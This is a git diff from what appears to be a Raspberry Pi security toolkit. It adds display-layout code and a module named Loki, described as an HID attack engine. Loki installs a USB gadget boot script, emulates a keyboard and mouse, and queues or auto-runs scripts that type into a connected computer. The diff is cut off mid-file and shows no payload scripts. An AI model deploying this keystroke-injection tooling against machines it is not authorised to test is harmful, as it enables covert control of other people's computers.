y=75, h=5 -> center 77.5) - # Font 9 height ~9-10px. y_text ~ 73 ? text_x = bar_x + bar_w + self.px(4) text_y = bar_y - 2 # Align visually with bar draw.text((text_x, text_y), f"{progress_val}%", font=self.shared_data.font_arial9, fill=0) @@ -951,6 +971,7 @@ class Display: action_target_ip = str(getattr(self.shared_data, "action_target_ip", "") or "").strip() orch_status = str(getattr(self.shared_data, "bjorn_orch_status", "IDLE") or "IDLE").upper() show_ip = bool(getattr(self.shared_data, "showiponscreen", False)) + comment_line_y = self.py(line_comment.get('y', 85)) if show_ip: # Show local IP only while idle; during actions show target IP when available. if orch_status == "IDLE": @@ -958,21 +979,24 @@ class Display: else: ip_to_show = action_target_ip or current_ip - draw.text((self.px(35), self.py(52)), ip_to_show, + draw.text((self.px(ip_pos.get('x', 35)), self.py(ip_pos.get('y', 52))), ip_to_show, font=self.shared_data.font_arial9, fill=0) - draw.text((self.px(35), self.py(61)), self.shared_data.bjorn_status_text, + draw.text((self.px(sl1.get('x', 35)), self.py(sl1.get('y', 55) + 6)), self.shared_data.bjorn_status_text, font=self.shared_data.font_arial9, fill=0) - # Line at y=85 (moved up 3px) - draw.line((1, self.py(85), self.shared_data.width - 1, self.py(85)), fill=0) + draw.line((1, comment_line_y, self.shared_data.width - 1, comment_line_y), fill=0) else: - draw.text((self.px(35), self.py(55)), self.shared_data.bjorn_status_text, + draw.text((self.px(sl1.get('x', 35)), self.py(sl1.get('y', 55))), self.shared_data.bjorn_status_text, font=self.shared_data.font_arial9, fill=0) - draw.text((self.px(35), self.py(66)), self.shared_data.bjorn_status_text2, + draw.text((self.px(sl2.get('x', 35)), self.py(sl2.get('y', 66))), self.shared_data.bjorn_status_text2, font=self.shared_data.font_arial9, fill=0) - # Line at y=85 (moved up 3px) - draw.line((1, self.py(85), self.shared_data.width - 1, self.py(85)), fill=0) + draw.line((1, comment_line_y, self.shared_data.width - 1, comment_line_y), fill=0) def _draw_decorations(self, image: Image.Image, draw: ImageDraw.Draw): + line_top = self.layout.get('line_top_bar') + line_mid = self.layout.get('line_mid_section') + line_bottom = self.layout.get('line_bottom_section') + frise_elem = self.layout.get('frise') + show_ssid = bool(getattr(self.shared_data, "showssidonscreen", False)) if show_ssid: # Center SSID @@ -980,18 +1004,19 @@ class Display: ssid_w = draw.textlength(ssid, font=self.shared_data.font_arial9) center_x = self.shared_data.width // 2 ssid_x = int(center_x - (ssid_w / 2)) - - draw.text((ssid_x, self.py(160)), ssid, + + frise_y_val = frise_elem.get('y', 160) if frise_elem else 160 + draw.text((ssid_x, self.py(frise_y_val)), ssid, font=self.shared_data.font_arial9, fill=0) - draw.line((0, self.py(170), self.shared_data.width, self.py(170)), fill=0) + draw.line((0, self.py(line_bottom.get('y', 170)), self.shared_data.width, self.py(line_bottom.get('y', 170))), fill=0) else: frise_x, frise_y = self.get_frise_position() if self.shared_data.frise is not None: image.paste(self.shared_data.frise, (frise_x, frise_y)) draw.rectangle((0, 0, self.shared_data.width - 1, self.shared_data.height - 1), outline=0) - draw.line((0, self.py(20), self.shared_data.width, self.py(20)), fill=0) - draw.line((0, self.py(51), self.shared_data.width, self.py(51)), fill=0) + draw.line((0, self.py(line_top.get('y', 20)), self.shared_data.width, self.py(line_top.get('y', 20))), fill=0) + draw.line((0, self.py(line_mid.get('y', 51)), self.shared_data.width, self.py(line_mid.get('y', 51))), fill=0) def _draw_comment_text(self, draw: ImageDraw.Draw): # Cache key for the layout @@ -1011,9 +1036,8 @@ class Display: else: lines = self._comment_layout_cache["lines"] - # MODIFICATION ICI : - # La ligne du dessus est à self.py(85). On veut 1px d'écart, donc 85 + 1 = 86. - y_text = self.py(86) + comment = self.layout.get('comment_area') + y_text = self.py(comment.get('y', 86)) font = self.shared_data.font_arialbold bbox = font.getbbox('Aj') diff --git a/display_layout.py b/display_layout.py new file mode 100644 index 0000000..f83fd1a --- /dev/null +++ b/display_layout.py @@ -0,0 +1,199 @@ +""" +Display Layout Engine for multi-size EPD support. +Provides data-driven layout definitions per display model. +""" +import json +import os +import logging +from logger import Logger + +logger = Logger(name="display_layout.py", level=logging.DEBUG) + +# Default layout for 122x250 (epd2in13 reference) +DEFAULT_LAYOUT = { + "meta": { + "name": "epd2in13_default", + "ref_width": 122, + "ref_height": 250, + "description": "Default layout for 2.13 inch e-paper display" + }, + "elements": { + "title": {"x": 37, "y": 5, "w": 80, "h": 14}, + "wifi_icon": {"x": 3, "y": 3, "w": 12, "h": 12}, + "bt_icon": {"x": 18, "y": 3, "w": 12, "h": 12}, + "usb_icon": {"x": 33, "y": 4, "w": 12, "h": 12}, + "eth_icon": {"x": 48, "y": 4, "w": 12, "h": 12}, + "battery_icon": {"x": 110, "y": 3, "w": 12, "h": 12}, + "stats_row": {"x": 2, "y": 22, "w": 118, "h": 16}, + "status_image": {"x": 3, "y": 52, "w": 15, "h": 15}, + "progress_bar": {"x": 35, "y": 75, "w": 55, "h": 5}, + "ip_text": {"x": 35, "y": 52, "w": 85, "h": 10}, + "status_line1": {"x": 35, "y": 55, "w": 85, "h": 10}, + "status_line2": {"x": 35, "y": 66, "w": 85, "h": 10}, + "comment_area": {"x": 1, "y": 86, "w": 120, "h": 73}, + "main_character": {"x": 25, "y": 100, "w": 70, "h": 65}, + "lvl_box": {"x": 2, "y": 172, "w": 18, "h": 26}, + "cpu_histogram": {"x": 2, "y": 204, "w": 8, "h": 33}, + "mem_histogram": {"x": 12, "y": 204, "w": 8, "h": 33}, + "network_kb": {"x": 101, "y": 170, "w": 20, "h": 26}, + "attacks_count": {"x": 101, "y": 200, "w": 20, "h": 26}, + "frise": {"x": 0, "y": 160, "w": 122, "h": 10}, + "line_top_bar": {"y": 20}, + "line_mid_section": {"y": 51}, + "line_comment_top": {"y": 85}, + "line_bottom_section": {"y": 170} + }, + "fonts": { + "title_size": 11, + "stats_size": 8, + "status_size": 8, + "comment_size": 8, + "lvl_size": 10 + } +} + +# Layout for 176x264 (epd2in7) +LAYOUT_EPD2IN7 = { + "meta": { + "name": "epd2in7_default", + "ref_width": 176, + "ref_height": 264, + "description": "Default layout for 2.7 inch e-paper display" + }, + "elements": { + "title": {"x": 50, "y": 5, "w": 120, "h": 16}, + "wifi_icon": {"x": 4, "y": 3, "w": 14, "h": 14}, + "bt_icon": {"x": 22, "y": 3, "w": 14, "h": 14}, + "usb_icon": {"x": 40, "y": 4, "w": 14, "h": 14}, + "eth_icon": {"x": 58, "y": 4, "w": 14, "h": 14}, + "battery_icon": {"x": 158, "y": 3, "w": 14, "h": 14}, + "stats_row": {"x": 2, "y": 24, "w": 172, "h": 18}, + "status_image": {"x": 4, "y": 55, "w": 18, "h": 18}, + "progress_bar": {"x": 45, "y": 80, "w": 80, "h": 6}, + "ip_text": {"x": 45, "y": 55, "w": 125, "h": 12}, + "status_line1": {"x": 45, "y": 58, "w": 125, "h": 12}, + "status_line2": {"x": 45, "y": 72, "w": 125, "h": 12}, + "comment_area": {"x": 2, "y": 92, "w": 172, "h": 78}, + "main_character": {"x": 35, "y": 105, "w": 100, "h": 70}, + "lvl_box": {"x": 2, "y": 178, "w": 22, "h": 30}, + "cpu_histogram": {"x": 2, "y": 215, "w": 10, "h": 38}, + "mem_histogram": {"x": 14, "y": 215, "w": 10, "h": 38}, + "network_kb": {"x": 148, "y": 178, "w": 26, "h": 30}, + "attacks_count": {"x": 148, "y": 215, "w": 26, "h": 30}, + "frise": {"x": 50, "y": 170, "w": 90, "h": 10}, + "line_top_bar": {"y": 22}, + "line_mid_section": {"y": 53}, + "line_comment_top": {"y": 90}, + "line_bottom_section": {"y": 176} + }, + "fonts": { + "title_size": 13, + "stats_size": 9, + "status_size": 9, + "comment_size": 9, + "lvl_size": 12 + } +} + +# Registry of built-in layouts +BUILTIN_LAYOUTS = { + "epd2in13": DEFAULT_LAYOUT, + "epd2in13_V2": DEFAULT_LAYOUT, + "epd2in13_V3": DEFAULT_LAYOUT, + "epd2in13_V4": DEFAULT_LAYOUT, + "epd2in7": LAYOUT_EPD2IN7, +} + + +class DisplayLayout: + """Manages display layout definitions with per-element positioning.""" + + def __init__(self, shared_data): + self.shared_data = shared_data + self._layout = None + self._custom_dir = os.path.join( + getattr(shared_data, 'current_dir', '.'), + 'resources', 'layouts' + ) + self.load() + + def load(self): + """Load layout for current EPD type. Custom file overrides built-in.""" + epd_type = getattr(self.shared_data, 'epd_type', + self.shared_data.config.get('epd_type', 'epd2in13_V4') + if hasattr(self.shared_data, 'config') else 'epd2in13_V4') + + # Try custom layout file first + custom_path = os.path.join(self._custom_dir, f'{epd_type}.json') + if os.path.isfile(custom_path): + try: + with open(custom_path, 'r') as f: + self._layout = json.load(f) + logger.info(f"Loaded custom layout from {custom_path}") + return + except Exception as e: + logger.error(f"Failed to load custom layout {custom_path}: {e}") + + # Fallback to built-in + base = epd_type.split('_')[0] if '_' in epd_type else epd_type + self._layout = BUILTIN_LAYOUTS.get(epd_type) or BUILTIN_LAYOUTS.get(base) or DEFAULT_LAYOUT + logger.info(f"Using built-in layout for {epd_type}: {self._layout['meta']['name']}") + + def get(self, element_name, prop=None): + """Get element position dict or specific property. + + Returns: dict {x, y, w, h} or int value if prop specified. + Falls back to (0,0) if element not found. + """ + elem = self._layout.get('elements', {}).get(element_name, {}) + if prop: + return elem.get(prop, 0) + return elem + + def font_size(self, name): + """Get font size by name.""" + return self._layout.get('fonts', {}).get(name, 8) + + def meta(self): + """Get layout metadata.""" + return self._layout.get('meta', {}) + + def ref_size(self): + """Get reference dimensions (width, height).""" + m = self.meta() + return m.get('ref_width', 122), m.get('ref_height', 250) + + def all_elements(self): + """Return all element definitions.""" + return dict(self._layout.get('elements', {})) + + def save_custom(self, layout_dict, epd_type=None): + """Save a custom layout to disk.""" + if epd_type is None: + epd_type = getattr(self.shared_data, 'epd_type', + self.shared_data.config.get('epd_type', 'epd2in13_V4') + if hasattr(self.shared_data, 'config') else 'epd2in13_V4') + os.makedirs(self._custom_dir, exist_ok=True) + path = os.path.join(self._custom_dir, f'{epd_type}.json') + tmp = path + '.tmp' + with open(tmp, 'w') as f: + json.dump(layout_dict, f, indent=2) + os.replace(tmp, path) + self._layout = layout_dict + logger.info(f"Saved custom layout to {path}") + + def reset_to_default(self, epd_type=None): + """Delete custom layout, revert to built-in.""" + if epd_type is None: + epd_type = getattr(self.shared_data, 'epd_type', + self.shared_data.config.get('epd_type', 'epd2in13_V4') + if hasattr(self.shared_data, 'config') else 'epd2in13_V4') + custom_path = os.path.join(self._custom_dir, f'{epd_type}.json') + if os.path.isfile(custom_path): + os.remove(custom_path) + logger.info(f"Removed custom layout {custom_path}") + self.load() + + def to_dict(self): + """Export current layout as dict (for API).""" + return dict(self._layout) if self._layout else {} diff --git a/feature_logger.py b/feature_logger.py index a5beeda..136c380 100644 --- a/feature_logger.py +++ b/feature_logger.py @@ -737,6 +737,68 @@ class FeatureLogger: # FEATURE AGGREGATION & EXPORT # ═══════════════════════════════════════════════════════════════════════ + def get_feature_importance(self) -> List[Dict[str, Any]]: + """ + AI-01: Return features sorted by variance from the ml_features_aggregated table. + Features with higher variance carry more discriminative information. + + Returns: + List of dicts: [{name, variance, sample_count}, ...] sorted by variance descending. + """ + min_variance = float( + getattr(self.shared_data, 'ai_feature_selection_min_variance', 0.001) + ) + results = [] + try: + rows = self.db.query( + "SELECT feature_vector, total_actions FROM ml_features_aggregated" + ) + if not rows: + return results + + # Accumulate per-feature running stats (Welford-style via sum/sq/n) + stats = {} # {feature_name: [sum, sum_sq, count]} + for row in rows: + try: + vec = json.loads(row.get('feature_vector', '{}')) + except Exception: + continue + if not isinstance(vec, dict): + continue + for name, value in vec.items(): + try: + val = float(value) + except (TypeError, ValueError): + continue + if name not in stats: + stats[name] = [0.0, 0.0, 0] + s = stats[name] + s[0] += val + s[1] += val * val + s[2] += 1 + + for name, (s, sq, n) in stats.items(): + if n < 2: + variance = 0.0 + else: + mean = s / n + variance = max(0.0, sq / n - mean * mean) + results.append({ + 'name': name, + 'variance': round(variance, 6), + 'sample_count': n, + 'above_threshold': variance >= min_variance, + }) + + results.sort(key=lambda x: x['variance'], reverse=True) + logger.debug(f"Feature importance: {len(results)} features analyzed, " + f"{sum(1 for r in results if r['above_threshold'])} above threshold") + + except Exception as e: + logger.error(f"Error computing feature importance: {e}") + + return results + def get_stats(self) -> Dict[str, Any]: """Get current feature logging statistics""" try: diff --git a/loki/__init__.py b/loki/__init__.py new file mode 100644 index 0000000..6739b64 --- /dev/null +++ b/loki/__init__.py @@ -0,0 +1,375 @@ +""" +Loki — HID Attack Engine for Bjorn. + +Manages USB HID gadget lifecycle, script execution, and job tracking. +Named after the Norse trickster god. + +Loki is the 5th exclusive operation mode (alongside MANUAL, AUTO, AI, BIFROST). +When active, the orchestrator stops and the Pi acts as a keyboard/mouse +to the connected host via /dev/hidg0 (keyboard) and /dev/hidg1 (mouse). + +HID GADGET STRATEGY: + The HID functions (keyboard + mouse) are created ONCE at boot time alongside + RNDIS networking by the usb-gadget.sh script. This avoids the impossible task + of hot-adding HID functions to a running composite gadget (UDC rebind fails + with EIO when RNDIS is active). + + LokiEngine simply opens/closes the /dev/hidg0 and /dev/hidg1 device files. + If /dev/hidg0 doesn't exist, the user needs to run the setup once and reboot. +""" +import os +import time +import subprocess +import logging +from threading import Event + +from logger import Logger + +logger = Logger(name="loki", level=logging.DEBUG) + +# USB HID report descriptors — EXACT byte-for-byte copies from P4wnP1_aloa +# Source: P4wnP1_aloa-master/service/SubSysUSB.go lines 54-70 +# +# These are written to the gadget at boot time by usb-gadget.sh. +# Kept here for reference and for the install_hid_gadget() method. +# +_KBD_REPORT_DESC = bytes([ + 0x05, 0x01, 0x09, 0x06, 0xa1, 0x01, 0x05, 0x07, + 0x19, 0xe0, 0x29, 0xe7, 0x15, 0x00, 0x25, 0x01, + 0x75, 0x01, 0x95, 0x08, 0x81, 0x02, 0x95, 0x01, + 0x75, 0x08, 0x81, 0x03, 0x95, 0x05, 0x75, 0x01, + 0x05, 0x08, 0x19, 0x01, 0x29, 0x05, 0x91, 0x02, + 0x95, 0x01, 0x75, 0x03, 0x91, 0x03, 0x95, 0x06, + 0x75, 0x08, 0x15, 0x00, 0x25, 0x65, 0x05, 0x07, + 0x19, 0x00, 0x29, 0x65, 0x81, 0x00, 0xc0, +]) # 63 bytes, report_length=8 + +_MOUSE_REPORT_DESC = bytes([ + 0x05, 0x01, 0x09, 0x02, 0xa1, 0x01, 0x09, 0x01, + 0xa1, 0x00, 0x85, 0x01, 0x05, 0x09, 0x19, 0x01, + 0x29, 0x03, 0x15, 0x00, 0x25, 0x01, 0x95, 0x03, + 0x75, 0x01, 0x81, 0x02, 0x95, 0x01, 0x75, 0x05, + 0x81, 0x03, 0x05, 0x01, 0x09, 0x30, 0x09, 0x31, + 0x15, 0x81, 0x25, 0x7f, 0x75, 0x08, 0x95, 0x02, + 0x81, 0x06, 0x95, 0x02, 0x75, 0x08, 0x81, 0x01, + 0xc0, 0xc0, 0x05, 0x01, 0x09, 0x02, 0xa1, 0x01, + 0x09, 0x01, 0xa1, 0x00, 0x85, 0x02, 0x05, 0x09, + 0x19, 0x01, 0x29, 0x03, 0x15, 0x00, 0x25, 0x01, + 0x95, 0x03, 0x75, 0x01, 0x81, 0x02, 0x95, 0x01, + 0x75, 0x05, 0x81, 0x01, 0x05, 0x01, 0x09, 0x30, + 0x09, 0x31, 0x15, 0x00, 0x26, 0xff, 0x7f, 0x95, + 0x02, 0x75, 0x10, 0x81, 0x02, 0xc0, 0xc0, +]) # 111 bytes, report_length=6 + +# The boot script that creates RNDIS + HID functions at startup. +# This replaces /usr/local/bin/usb-gadget.sh +_USB_GADGET_SCRIPT = '''#!/bin/bash +# usb-gadget.sh — USB composite gadget: RNDIS networking + HID (keyboard/mouse) +# Auto-generated by Bjorn Loki. Do not edit manually. + +modprobe libcomposite +cd /sys/kernel/config/usb_gadget/ +mkdir -p g1 +cd g1 + +echo 0x1d6b > idVendor +echo 0x0104 > idProduct +echo 0x0100 > bcdDevice +echo 0x0200 > bcdUSB + +mkdir -p strings/0x409 +echo "fedcba9876543210" > strings/0x409/serialnumber +echo "Raspberry Pi" > strings/0x409/manufacturer +echo "Pi Zero USB" > strings/0x409/product + +mkdir -p configs/c.1/strings/0x409 +echo "Config 1: RNDIS + HID" > configs/c.1/strings/0x409/configuration +echo 250 > configs/c.1/MaxPower + +# ── RNDIS networking function ── +mkdir -p functions/rndis.usb0 +[ -L configs/c.1/rndis.usb0 ] && rm configs/c.1/rndis.usb0 +ln -s functions/rndis.usb0 configs/c.1/ + +# ── HID functions (keyboard + mouse) ── +# Use python3 to write binary report descriptors (bash printf can't handle null bytes) +python3 - <<'PYEOF' +import os, sys + +G = "/sys/kernel/config/usb_gadget/g1" + +# Keyboard: P4wnP1 exact boot keyboard descriptor (63 bytes) +KBD_DESC = bytes([ + 0x05,0x01,0x09,0x06,0xa1,0x01,0x05,0x07, + 0x19,0xe0,0x29,0xe7,0x15,0x00,0x25,0x01, + 0x75,0x01,0x95,0x08,0x81,0x02,0x95,0x01, + 0x75,0x08,0x81,0x03,0x95,0x05,0x75,0x01, + 0x05,0x08,0x19,0x01,0x29,0x05,0x91,0x02, + 0x95,0x01,0x75,0x03,0x91,0x03,0x95,0x06, + 0x75,0x08,0x15,0x00,0x25,0x65,0x05,0x07, + 0x19,0x00,0x29,0x65,0x81,0x00,0xc0, +]) + +# Mouse: P4wnP1 dual-mode (relative + absolute) descriptor (111 bytes) +MOUSE_DESC = bytes([ + 0x05,0x01,0x09,0x02,0xa1,0x01,0x09,0x01, + 0xa1,0x00,0x85,0x01,0x05,0x09,0x19,0x01, + 0x29,0x03,0x15,0x00,0x25,0x01,0x95,0x03, + 0x75,0x01,0x81,0x02,0x95,0x01,0x75,0x05, + 0x81,0x03,0x05,0x01,0x09,0x30,0x09,0x31, + 0x15,0x81,0x25,0x7f,0x75,0x08,0x95,0x02, + 0x81,0x06,0x95,0x02,0x75,0x08,0x81,0x01, + 0xc0,0xc0,0x05,0x01,0x09,0x02,0xa1,0x01, + 0x09,0x01,0xa1,0x00,0x85,0x02,0x05,0x09, + 0x19,0x01,0x29,0x03,0x15,0x00,0x25,0x01, + 0x95,0x03,0x75,0x01,0x81,0x02,0x95,0x01, + 0x75,0x05,0x81,0x01,0x05,0x01,0x09,0x30, + 0x09,0x31,0x15,0x00,0x26,0xff,0x7f,0x95, + 0x02,0x75,0x10,0x81,0x02,0xc0,0xc0, +]) + +def w(path, content): + with open(path, "w") as f: + f.write(content) + +def wb(path, data): + with open(path, "wb") as f: + f.write(data) + +try: + # Keyboard (hid.usb0) + kbd = G + "/functions/hid.usb0" + os.makedirs(kbd, exist_ok=True) + w(kbd + "/protocol", "1") + w(kbd + "/subclass", "1") + w(kbd + "/report_length", "8") + wb(kbd + "/report_desc", KBD_DESC) + + # Mouse (hid.usb1) + mouse = G + "/functions/hid.usb1" + os.makedirs(mouse, exist_ok=True) + w(mouse + "/protocol", "2") + w(mouse + "/subclass", "1") + w(mouse + "/report_length", "6") + wb(mouse + "/report_desc", MOUSE_DESC) + + print(f"HID functions created: keyboard ({len(KBD_DESC)}B) + mouse ({len(MOUSE_DESC)}B)") +except Exception as e: + print(f"WARNING: HID setup failed (non-fatal): {e}", file=sys.stderr) + sys.exit(0) # Don't block RNDIS setup +PYEOF + +# Symlink HID into config (non-fatal) +for func in hid.usb0 hid.usb1; do + [ -L "configs/c.1/$func" ] && rm "configs/c.1/$func" + if [ -d "functions/$func" ]; then + ln -s "functions/$func" "configs/c.1/" 2>/dev/null || true + fi +done + +# ── Bind UDC ── +max_retries=10 +retry_count=0 +while ! ls /sys/class/udc > UDC 2>/dev/null; do + if [ $retry_count -ge $max_retries ]; then + echo "Error: Device or resource busy after $max_retries attempts." + exit 1 + fi + retry_count=$((retry_count + 1)) + sleep 1 +done + +UDC_NAME=$(ls /sys/class/udc) +echo "$UDC_NAME" > UDC +echo "Assigned UDC: $UDC_NAME (RNDIS + HID keyboard + HID mouse)" + +# ── Configure network ── +if ! ip addr show usb0 2>/dev/null | grep -q "172.20.2.1"; then + ifconfig usb0 172.20.2.1 netmask 255.255.255.0 2>/dev/null || true + echo "Configured usb0 with IP 172.20.2.1" +else + echo "Interface usb0 already configured." +fi +''' + +_GADGET_SCRIPT_PATH = "/usr/local/bin/usb-gadget.sh" + + +class LokiEngine: + """HID attack engine — manages script execution and job tracking. + + The USB HID gadget (keyboard + mouse) is set up at boot time by + usb-gadget.sh. This engine simply opens /dev/hidg0 and /dev/hidg1. + """ + + def __init__(self, shared_data): + self.shared_data = shared_data + self._stop_event = Event() + self._running = False + self._gadget_ready = False + + # Sub-components (lazy init) + self._hid = None + self._jobs = None + + # ── Properties ───────────────────────────────────────────── + + @property + def hid_controller(self): + if self._hid is None: + from loki.hid_controller import HIDController + self._hid = HIDController() + return self._hid + + @property + def job_manager(self): + if self._jobs is None: + from loki.jobs import LokiJobManager + self._jobs = LokiJobManager(self) + return self._jobs + + # ── Start / Stop ─────────────────────────────────────────── + + def start(self): + """Start Loki engine: open HID devices, apply config.""" + if self._running: + logger.warning("Loki already running") + return + + logger.info("Starting Loki engine...") + self._stop_event.clear() + + # Check if HID gadget is available (set up at boot) + if not os.path.exists("/dev/hidg0"): + logger.error( + "/dev/hidg0 not found — HID gadget not configured at boot. " + "Run install_hid_gadget() from the Loki API and reboot." + ) + self._gadget_ready = False + return + + self._gadget_ready = True + + # Open HID devices + try: + self.hid_controller.open() + except Exception as e: + logger.error("HID device open failed: %s", e) + self._gadget_ready = False + return + + # Apply config + layout = self.shared_data.config.get("loki_default_layout", "us") + self.hid_controller.set_layout(layout) + speed_min = self.shared_data.config.get("loki_typing_speed_min", 0) + speed_max = self.shared_data.config.get("loki_typing_speed_max", 0) + self.hid_controller.set_typing_speed(speed_min, speed_max) + + self._running = True + logger.info("Loki engine started (HID devices open)") + + # Auto-run script if configured + auto_run = self.shared_data.config.get("loki_auto_run", "") + if auto_run: + self._auto_run_script(auto_run) + + def stop(self): + """Stop Loki engine: cancel jobs, close devices.""" + if not self._running: + return + + logger.info("Stopping Loki engine...") + self._stop_event.set() + + # Cancel all running jobs + if self._jobs: + for job in self._jobs.get_all_jobs(): + if job["status"] == "running": + self._jobs.cancel_job(job["id"]) + + # Close HID devices (don't remove gadget — it persists) + if self._hid: + self._hid.close() + + self._running = False + self._gadget_ready = False + logger.info("Loki engine stopped") + + def get_status(self) -> dict: + """Return current engine status for the API.""" + hidg0_exists = os.path.exists("/dev/hidg0") + return { + "enabled": self.shared_data.config.get("loki_enabled", False), + "running": self._running, + "gadget_ready": self._gadget_ready, + "gadget_installed": hidg0_exists, + "layout": self.shared_data.config.get("loki_default_layout", "us"), + "jobs_running": self.job_manager.running_count if self._jobs else 0, + "jobs_total": len(self._jobs.get_all_jobs()) if self._jobs else 0, + } + + # ── Job API (delegated to JobManager) ────────────────────── + + def submit_job(self, script_name: str, script_content: str) -> str: + """Submit a HIDScript for execution. Returns job_id.""" + if not self._running: + raise RuntimeError("Loki engine not running") + if not self._gadget_ready: + raise RuntimeError("HID gadget not ready") + return self.job_manager.create_job(script_name, script_content) + + def cancel_job(self, job_id: str) -> bool: + return self.job_manager.cancel_job(job_id) + + def get_jobs(self) -> list: + return self.job_manager.get_all_jobs() + + # ── HID Gadget Installation ──────────────────────────────── + + @staticmethod + def is_gadget_installed() -> bool: + """Check if the HID gadget is available.""" + return os.path.exists("/dev/hidg0") + + @staticmethod + def install_hid_gadget() -> dict: + """Install/update the USB gadget boot script to include HID functions. + + Writes the new usb-gadget.sh that creates RNDIS + HID at boot. + Returns status dict. Requires a reboot to take effect. + """ + try: + # Write the new gadget script + with open(_GADGET_SCRIPT_PATH, "w") as f: + f.write(_USB_GADGET_SCRIPT) + os.chmod(_GADGET_SCRIPT_PATH, 0o755) + logger.info("USB gadget script updated at %s", _GADGET_SCRIPT_PATH) + + return { + "success": True, + "message": "USB gadget script updated with HID support. Reboot required.", + "reboot_required": True, + } + + except Exception as e: + logger.error("Failed to install HID gadget script: %s", e) + return { + "success": False, + "message": f"Installation failed: {e}", + "reboot_required": False, + } + + # ── Auto-run ─────────────────────────────────────────────── + + def _auto_run_script(self, script_name: str): + """Auto-run a script by name from the database.""" + try: + db = self.shared_data.db + row = db.query_one( + "SELECT content FROM loki_scripts WHERE name = ?", (script_name,) + ) + if row and row.get("content"): + self.submit_job(script_name, row["content"]) + logger.info("Auto-running script: %s", script_name) + except Exception as e: + logger.error("Auto-run failed for '%s': %s", script_name, e) diff --git a/loki/hid_controller.py b/loki/hid_controller.py new file mode 100644 index 0000000..34cad6f --- /dev/null +++ b/loki/hid_controller.py @@ -0,0 +1,408 @@ +""" +Low-level USB HID controller for Loki. +Writes keyboard and mouse reports to /dev/hidg0 and /dev/hidg1. +""" +import os +import struct +import time +import random +import logging +import select +from threading import Event + +from logger import Logger +from loki.layouts import load as load_layout + +logger = Logger(name="loki.hid_controller", level=logging.DEBUG) + +# ── HID Keycodes ────────────────────────────────────────────── +# USB HID Usage Tables — Keyboard/Keypad Page (0x07) + +KEY_NONE = 0x00 +KEY_A = 0x04 +KEY_B = 0x05 +KEY_C = 0x06 +KEY_D = 0x07 +KEY_E = 0x08 +KEY_F = 0x09 +KEY_G = 0x0A +KEY_H = 0x0B +KEY_I = 0x0C +KEY_J = 0x0D +KEY_K = 0x0E +KEY_L = 0x0F +KEY_M = 0x10 +KEY_N = 0x11 +KEY_O = 0x12 +KEY_P = 0x13 +KEY_Q = 0x14 +KEY_R = 0x15 +KEY_S = 0x16 +KEY_T = 0x17 +KEY_U = 0x18 +KEY_V = 0x19 +KEY_W = 0x1A +KEY_X = 0x1B +KEY_Y = 0x1C +KEY_Z = 0x1D +KEY_1 = 0x1E +KEY_2 = 0x1F +KEY_3 = 0x20 +KEY_4 = 0x21 +KEY_5 = 0x22 +KEY_6 = 0x23 +KEY_7 = 0x24 +KEY_8 = 0x25 +KEY_9 = 0x26 +KEY_0 = 0x27 +KEY_ENTER = 0x28 +KEY_ESC = 0x29 +KEY_BACKSPACE = 0x2A +KEY_TAB = 0x2B +KEY_SPACE = 0x2C +KEY_MINUS = 0x2D +KEY_EQUAL = 0x2E +KEY_LEFTBRACE = 0x2F +KEY_RIGHTBRACE = 0x30 +KEY_BACKSLASH = 0x31 +KEY_SEMICOLON = 0x33 +KEY_APOSTROPHE = 0x34 +KEY_GRAVE = 0x35 +KEY_COMMA = 0x36 +KEY_DOT = 0x37 +KEY_SLASH = 0x38 +KEY_CAPSLOCK = 0x39 +KEY_F1 = 0x3A +KEY_F2 = 0x3B +KEY_F3 = 0x3C +KEY_F4 = 0x3D +KEY_F5 = 0x3E +KEY_F6 = 0x3F +KEY_F7 = 0x40 +KEY_F8 = 0x41 +KEY_F9 = 0x42 +KEY_F10 = 0x43 +KEY_F11 = 0x44 +KEY_F12 = 0x45 +KEY_PRINTSCREEN = 0x46 +KEY_SCROLLLOCK = 0x47 +KEY_PAUSE = 0x48 +KEY_INSERT = 0x49 +KEY_HOME = 0x4A +KEY_PAGEUP = 0x4B +KEY_DELETE = 0x4C +KEY_END = 0x4D +KEY_PAGEDOWN = 0x4E +KEY_RIGHT = 0x4F +KEY_LEFT = 0x50 +KEY_DOWN = 0x51 +KEY_UP = 0x52 +KEY_NUMLOCK = 0x53 + +# ── Modifier bitmasks ───────────────────────────────────────── +MOD_NONE = 0x00 +MOD_LEFT_CONTROL = 0x01 +MOD_LEFT_SHIFT = 0x02 +MOD_LEFT_ALT = 0x04 +MOD_LEFT_GUI = 0x08 +MOD_RIGHT_CONTROL = 0x10 +MOD_RIGHT_SHIFT = 0x20 +MOD_RIGHT_ALT = 0x40 +MOD_RIGHT_GUI = 0x80 + +# ── Combo name → (modifier_mask, keycode) ───────────────────── +_COMBO_MAP = { + # Modifiers (used standalone or in combos) + "CTRL": (MOD_LEFT_CONTROL, KEY_NONE), + "CONTROL": (MOD_LEFT_CONTROL, KEY_NONE), + "SHIFT": (MOD_LEFT_SHIFT, KEY_NONE), + "ALT": (MOD_LEFT_ALT, KEY_NONE), + "GUI": (MOD_LEFT_GUI, KEY_NONE), + "WIN": (MOD_LEFT_GUI, KEY_NONE), + "WINDOWS": (MOD_LEFT_GUI, KEY_NONE), + "COMMAND": (MOD_LEFT_GUI, KEY_NONE), + "META": (MOD_LEFT_GUI, KEY_NONE), + "RCTRL": (MOD_RIGHT_CONTROL, KEY_NONE), + "RSHIFT": (MOD_RIGHT_SHIFT, KEY_NONE), + "RALT": (MOD_RIGHT_ALT, KEY_NONE), + "RGUI": (MOD_RIGHT_GUI, KEY_NONE), + # Special keys + "ENTER": (MOD_NONE, KEY_ENTER), + "RETURN": (MOD_NONE, KEY_ENTER), + "ESC": (MOD_NONE, KEY_ESC), + "ESCAPE": (MOD_NONE, KEY_ESC), + "BACKSPACE": (MOD_NONE, KEY_BACKSPACE), + "TAB": (MOD_NONE, KEY_TAB), + "SPACE": (MOD_NONE, KEY_SPACE), + "CAPSLOCK": (MOD_NONE, KEY_CAPSLOCK), + "DELETE": (MOD_NONE, KEY_DELETE), + "INSERT": (MOD_NONE, KEY_INSERT), + "HOME": (MOD_NONE, KEY_HOME), + "END": (MOD_NONE, KEY_END), + "PAGEUP": (MOD_NONE, KEY_PAGEUP), + "PAGEDOWN": (MOD_NONE, KEY_PAGEDOWN), + "UP": (MOD_NONE, KEY_UP), + "DOWN": (MOD_NONE, KEY_DOWN), + "LEFT": (MOD_NONE, KEY_LEFT), + "RIGHT": (MOD_NONE, KEY_RIGHT), + "PRINTSCREEN": (MOD_NONE, KEY_PRINTSCREEN), + "SCROLLLOCK": (MOD_NONE, KEY_SCROLLLOCK), + "PAUSE": 